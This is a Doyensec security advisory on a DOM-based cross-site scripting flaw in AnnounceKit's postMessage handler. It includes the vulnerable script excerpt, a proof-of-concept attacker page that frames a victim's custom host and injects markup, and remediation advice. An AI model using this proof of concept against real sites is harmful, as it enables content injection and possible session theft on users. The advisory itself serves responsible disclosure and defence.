DOYENSEC

# Security Advisory
For AnnounceKit

Created by Lorenzo Stella
01/07/2022

## Overview

This document summarizes a security issue affecting the AnnounceKit platform incidentally discovered during a larger vulnerability research activity targeting a Doyensec customer. While security testing was not meant to be comprehensive in terms of attack and code coverage for AnnounceKit, we have identified a vulnerability that could lead to the injection of HTML code from untrusted origins. Given that a number of AnnounceKit customers are serving the vulnerable code using the Custom Hostname[1] setup, this allows a universal HTML injection on all of their origins.

## About Us

**Doyensec** is an independent security research and development company focused on vulnerability discovery and remediation. We work at the intersection of software development and offensive engineering to help companies craft secure code.

Research is one of our founding principles and we invest heavily in it. By discovering new vulnerabilities and attack techniques, we constantly improve our capabilities and contribute to secure the applications we all use.

[1] https://announcekit.app/docs/custom-host

| DOM-based Cross-Site Scripting Via postMessage | |
|---|---|
| **Vendor** | Kovan Studio, Inc. |
| **Severity** | **Medium** |
| **Vulnerability Class** | Cross Site Scripting (XSS) |
| **Component** | updates.targetapp.com |
| **Status** | Open |
| **CVE** | N/A |

## Description

Cross-site scripting (also referred to as XSS) occurs when a web application gathers malicious data from a malicious user. XSS are vulnerabilities that allow an attacker to send malicious code (usually in the form of Javascript) to another user. The browser will execute the script in the user account context allowing the attacker to access any cookies or session tokens retained by the browser and take it over. The attacker may also modify the content of the page presented to the user. The attack is possible because a browser cannot know if the script mentioned above should be trusted.

A Doyensec customer's web app integrates with AnnounceKit, a user communication platform that provides product updates. Since a custom hostname for the change-log page is used, a `CNAME` record pointing to updates.targetapp.com was set[1] as suggested by the AnnounceKit documentation.

One of the minimized Javascript sources embedded in Changelog pages is https://cdn.announcekit.app/7a65b93555e5c78cdf5d.js, which communicates with the frame ancestor using a *postMessage*-based intercommunication mechanism. At the same time, the AnnounceKit server does not provide any header-based framing restriction (e.g. via `X-Frame-Options` or the CSP `frame-ancestors` directive). Since the script above does not check the origin of the message sender, any malicious origin can embed the victim's custom host serving the vulnerable code and mount an attack using the exposed message handlers. As an additional risk factor, session cookies set by app.targetapp.com are scoped to the parent .targetapp.com site.

One of the implemented message types is `R2L_PUT_CSS`, which inject arbitrary CSS in the context of the updates.targetapp.com page:

```
{
    "event": "R2L_PUT_CSS",
    "payload": {
        "css": "body { color: red }",
        "id": "main"
      }
}
```

[1] https://announcekit.app/docs/custom-host

The switch expression on the script (https://cdn.announcekit.app/7a65b93555e5c78cdf5d.js) creates a style element and directly injects the message payload content in the DOM using the `innerHTML`[5] native function with no HTML escaping:

```
window.addEventListener("message",(e=>{
  var o,i;switch(e.data.event){
      ...
      case "R2L_PUT_CSS":
          let f, l = document.querySelector("head");
          e.data.payload.id && (f = document.getElementById(`injectedstyle-$
      {e.data.payload.id}`)),
          f || (f = document.createElement("style"),
          f.id = `injectedstyle-${e.data.payload.id}`,
          f.type = "text/css"),
          f.innerHTML = e.data.payload.css,
          l.appendChild(f);
          break;
```

## Reproduction Steps

Any third-party websites having a reference to a window with the AnnounceKit page (`updates.targetapp.com`) opened could send a `postMessage` to it and inject arbitrary elements that could obtain JavaScript code execution on the `updates.targetapp.com` origin. In order to reproduce the issue:

1. Host the following HTML code (i.e. on `http://attacker.com/xss.html`):

```
<html>
   <!-- Dom XSS PoC for updates.targetapp.com -->    <head>

     <meta charset="utf-8">
<title>PoC for updates.targetapp.com</title>
   </head>
   <body>
      <form action="https://updates.targetapp.com/widgets/v2/31nbb0/view"
method="POST" target="framepoc" name="announcekitForm">
         <input type="hidden" name="json-body"
value="{&quot;user&quot;:null,&quot;data&quot;:null,&quot;labels&quot;:null,&quot ;use
r_token&quot;:null,&quot;session&quot;:{&quot;$url&quot;:&quot;https://
updates.targetapp.com/widgets/&quot;,&quot;$os&quot;:&quot;Windows
10&quot;,&quot;$agent&quot;:&quot;Chrome&quot;},&quot;mobile&quot;:false}">
         <input type="submit" value="Submit request">
      </form>
      <iframe name="framepoc" id="framepoc" src="#"></iframe>
      <script>
         updatekitForm = document.querySelector("form[name=announcekitForm]");
         updatekitForm.addEventListener('submit', function(e) {
             setTimeout(function() {
                let frame = window.document.getElementById("framepoc");
                frame.contentWindow.postMessage(
                    {
                        "event": "READY",
                        "payload": {}
                    },
                    "*"
                );
                frame.contentWindow.postMessage(
```

[5] https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML

```
                        {
                            "event": "R2L_PUT_CSS",
                            "payload": {
                                "css": "<PAYLOAD>",
                                "id": "main"
                            }
                        },
                        "*"
                    );
                }, 2000);
            });
        </script>
    </body>
</html>
```

2. Login to the target app
3. Visit the hosted HTML code
4. Notice that the payload is injected without escaping in a `#injectedstyle-main` style element in the context of the `updates.targetapp.com` domain

## Impact

Since the injection occurs inside the `head` tag, the exploitability of the issue seems to be limited on modern user agents. It's also worth mentioning that the HTML5 specification states that if a `<script>` tag is inserted into the page using the `innerHTML` property of an element, it should not be executed. This can usually be bypassed by using anything other than a `<script>` tag – for example, using `<svg>` or `<img>` tags, or injecting other tags. While for newer user agents arbitrary Javascript execution may not be easily achievable, content injection and other attacks can still be mounted on modern user agents.

## Complexity

Medium, the attacker must force the victim into visiting a specific URL first.

## Remediation

As a short-term mitigation, customers should stop using the custom host setup suggested by AnnounceKit.

As a long-term mitigation, AnnounceKit should always check the origin of *postMessage* events against a list of expected domains and allow AnnounceKit customers to also provide an allowlist of message senders and frame ancestors. This could be achieved by checking the `MessageEvent.origin` attribute, which contains the URL of the page which sent the *postMessage*, and returning a CSP header containing a relevant `frame-ancestor` directive containing any intended customer's origin.

## Resources

- "Web-message manipulation", PortSwigger
  https://portswigger.net/web-security/dom-based/web-message-manipulation

## Disclosure Timeline

- 01/07/2021 Issue responsibly disclosed to AnnounceKit
- 01/18/2021 AnnounceKit deployed a preliminary fix for this issue